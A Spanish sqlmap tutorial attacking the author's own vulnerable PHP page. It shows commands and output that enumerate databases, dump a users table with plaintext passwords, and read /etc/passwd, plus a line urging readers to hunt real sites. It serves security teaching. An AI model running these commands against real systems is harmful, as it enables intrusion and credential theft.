Upload
danielbsas
View
8
Download
2
Embed Size (px)
Citation preview
Una vez instalado los PHP y la base de datos, tendremos que suponer que hemos encontrado una URL que aparentemente es vulnerable:
http://[mi_servidor]/detail.php?id=8492019
Aparentemente no: !es vulnerable¡ porque la he programado yo. Si estás ansioso por encontrar webs, toma y busca.
Empezamos atacando la Web con sqlmap. Lo primero que haremos es ver que versión tiene de MySQL con el parámetro "-b":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" -b
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 21:58:00
[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
banner: '5.0.51b-community'
[*] shutting down at: 21:58:07
Vemos que tiene MySql 5.0.51. Ahora queremos saber el nombre de la base de datos con la que está trabajando esta aplicación. Utilizamos el parámetro "--current-db":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --current-db
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:09:07
[22:09:08] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
current database: 'midb'
[*] shutting down at: 22:09:09
La base de datos se llama midb. Veamos ahora las tablas de esta base de datos. Utilizamos los parámetros "--tables -D midb".
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --tables -D midb
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:11:01
[22:11:02] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Database: midb
[2 tables]
+----------+
| products |
| users |
+----------+
[*] shutting down at: 22:11:05
Bingo!. Vemos que tiene una tabla llamada "users", donde posiblemente están lo usuarios que se logean desde la pagina principal llamada "login.php".
Veamos la estructura de esta tabla. Utilizamos los parámetros "--columns -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --columns -T users -D midb
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:13:34
[22:13:35] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Database: midb
Table: users
[3 columns]
+----------+------------------+
| Column | Type |
+----------+------------------+
| id | int(10) unsigned |
| password | varchar(45) |
| username | varchar(45) |
+----------+------------------+
[*] shutting down at: 22:13:43
Veamos el contenido de esta tabla. Utilizamos los parámetros "--dump -T users -D midb":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dump -T users -D midb
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:16:17
[22:16:19] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
Database: midb
Table: users
[3 entries]
+----+---------------+----------+
| id | password | username |
+----+---------------+----------+
| 1 | admin123456 | admin |
| 2 | alberto123456 | alberto |
| 3 | juan123456 | juan |
+----+---------------+----------+
[*] shutting down at: 22:16:27
Ahora la pregunta es saber si tenemos acceso a otras bases de datos. La respuesta es
depende. Depende del nivel de seguridad que tenga la aplicación. Naturalmente esta aplicación es mía y no tiene ningún nivel de seguridad.
Veamos que otras bases de datos hay. Utilizamos "--dbs":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --dbs
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:31:25
[22:31:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
available databases [6]:
[*] information_schema
[*] midb
[*] mysql
[*] phpmyadmin
[*] test
[*] webauth
[*] shutting down at: 22:31:32
Veamos ahora que usuarios hay en MySQL. Utilizamos "--users":
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --users
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:32:43
[22:32:45] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
database management system users [3]:
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] shutting down at: 22:32:51
Solo existe un usuario root. Aqui está uno de los problemas. Estamos utilizando el usuario root que trae por defecto MySQL para acceder por PHP. Si estamos utilizando el usuario root para nuestras sentencias de SQL eso quiere decir que podemos hacer llamadas al sistema:
# ./sqlmap.py -u "http://192.168.1.5/detail.php?code=8492019" --read-file /etc/passwd
sqlmap/0.6.1 coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 22:59:10
[22:59:11] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
/etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
[*] shutting down at: 22:59:12
Para terminar tenemos un dump de todo el MySql. Utilizamos "--eta --dump-all -v 1". Esto puede tardar bastante y no volcaré el resultado.